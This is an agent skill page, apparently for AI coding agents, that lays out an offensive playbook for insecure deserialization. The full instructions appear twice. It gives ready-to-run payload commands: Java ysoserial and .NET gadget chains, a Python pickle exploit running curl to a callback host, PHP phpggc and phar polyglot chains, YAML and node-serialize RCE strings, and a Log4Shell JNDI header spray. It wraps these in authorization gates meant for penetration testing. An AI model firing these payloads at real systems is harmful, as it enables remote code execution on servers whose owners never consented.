BY elementalsouls/Claude-BugHunter contributors, via Agentic Awesome SkillsUPDATED Oct 26, 2026
INTENDED FOR✳Claude Code>_Codex↗CursorInstall in a listed agent.
instructions.md
---
name: hunt-deserialization
description: Hunt Insecure Deserialization
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
relevant testing tools for this technique. Docs-only; helper scripts and commands
not bundled.
sources: hackerone_public
report_count: 22
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization severity depends on attacker control, reachable deserialization, available gadgets, privileges and demonstrated impact; a signal alone is not RCE.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
```
### Header / Cookie Signals
```
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Java Deserialization (ysoserial)
```bash
# Install ysoserial
# Prerequisite: a previously reviewed immutable ysoserial-all.jar; stop if absent.
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id' | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
```
### Phase 2 — PHP Object Injection
```bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# Error changes are a lead; use approved controls and source/runtime evidence.
# Craft gadget chain using phpggc
# Prerequisite: an existing reviewed phpggc installation; stop if absent.
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
```
### Phase 3 — Python Pickle
```bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
```
### Phase 3b — PHP phar://, Python YAML, Node deserialization
- **PHP phar:// (no `unserialize()` call)** — older PHP runtimes could automatically deserialize metadata through filesystem access. PHP 8 stopped that automatic behavior; explicit `getMetadata()` may still deserialize. Verify the exact version/call path.
```bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call
```
- **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
- **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
### Phase 4 — .NET ViewState
```bash
# Check if ViewState is unsigned (MAC disabled)
# Presence of __VIEWSTATE or absence of a separate __VIEWSTATEMAC field does
# not prove MAC is disabled. Verify configuration and controlled tamper behavior.
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
```
### Phase 5 — Log4Shell / JNDI
```bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
```
### Phase 6 — Ruby Marshal
```bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
```
---
## Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Confirmed lab RCE | Harmless unique marker | Demonstrate minimum authorized effect |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → investigate originating path | Outbound interaction only until execution is proven |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
## Automation
```bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
```
---
## Validation
✅ A correlated DNS/HTTP callback supports outbound interaction; it does not alone prove deserialization or command execution
✅ Command output in response: full RCE confirmed
**Severity:** Assess the demonstrated effect and prerequisites; do not assign Critical from a fingerprint or callback alone.
## When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
## Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
### Example
```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
```
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
The direct binary-body example sends serialized bytes; base64 is only correct when the target explicitly decodes it. The Python example prints base64 but does not create `payload.pkl`; do not send a nonexistent/different artifact. JNDI lookup is not automatically class loading/RCE on patched JVMs. Keep tests bounded, use a unique controlled callback, do not read secrets/escalate privileges/write persistent files, and stop at the authorized proof. Review/pin any external kit before use. See [PHP implemented metadata change](https://wiki.php.net/rfc/phar_stop_autoloading_metadata).
---
name: hunt-deserialization
description: Hunt Insecure Deserialization
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
relevant testing tools for this technique. Docs-only; helper scripts and commands
not bundled.
sources: hackerone_public
report_count: 22
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization severity depends on attacker control, reachable deserialization, available gadgets, privileges and demonstrated impact; a signal alone is not RCE.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
```
### Header / Cookie Signals
```
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Java Deserialization (ysoserial)
```bash
# Install ysoserial
# Prerequisite: a previously reviewed immutable ysoserial-all.jar; stop if absent.
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id' | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
```
### Phase 2 — PHP Object Injection
```bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# Error changes are a lead; use approved controls and source/runtime evidence.
# Craft gadget chain using phpggc
# Prerequisite: an existing reviewed phpggc installation; stop if absent.
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
```
### Phase 3 — Python Pickle
```bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
```
### Phase 3b — PHP phar://, Python YAML, Node deserialization
- **PHP phar:// (no `unserialize()` call)** — older PHP runtimes could automatically deserialize metadata through filesystem access. PHP 8 stopped that automatic behavior; explicit `getMetadata()` may still deserialize. Verify the exact version/call path.
```bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call
```
- **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
- **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
### Phase 4 — .NET ViewState
```bash
# Check if ViewState is unsigned (MAC disabled)
# Presence of __VIEWSTATE or absence of a separate __VIEWSTATEMAC field does
# not prove MAC is disabled. Verify configuration and controlled tamper behavior.
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
```
### Phase 5 — Log4Shell / JNDI
```bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
```
### Phase 6 — Ruby Marshal
```bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
```
---
## Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Confirmed lab RCE | Harmless unique marker | Demonstrate minimum authorized effect |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → investigate originating path | Outbound interaction only until execution is proven |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
## Automation
```bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
```
---
## Validation
✅ A correlated DNS/HTTP callback supports outbound interaction; it does not alone prove deserialization or command execution
✅ Command output in response: full RCE confirmed
**Severity:** Assess the demonstrated effect and prerequisites; do not assign Critical from a fingerprint or callback alone.
## When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
## Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
### Example
```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
```
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
The direct binary-body example sends serialized bytes; base64 is only correct when the target explicitly decodes it. The Python example prints base64 but does not create `payload.pkl`; do not send a nonexistent/different artifact. JNDI lookup is not automatically class loading/RCE on patched JVMs. Keep tests bounded, use a unique controlled callback, do not read secrets/escalate privileges/write persistent files, and stop at the authorized proof. Review/pin any external kit before use. See [PHP implemented metadata change](https://wiki.php.net/rfc/phar_stop_autoloading_metadata).
COMPATIBILITY & REFERENCES
Platform guidance
Imported SKILL.md format for Claude Code, Codex and Cursor. Review the complete instructions and required tools before use. Package integrity checked; individual agent behavior has not been tested.
Generate detailed control implementation guidance, technical steps, and implementation plans for OSCAL security controls. Use this skill to create implementation narratives, technical procedures, and deployment plans.
Soc2 Compliance Checker - Auto-activating skill for Security Advanced. Triggers on: soc2 compliance checker, soc2 compliance checker Part of the Security Advanced skill category.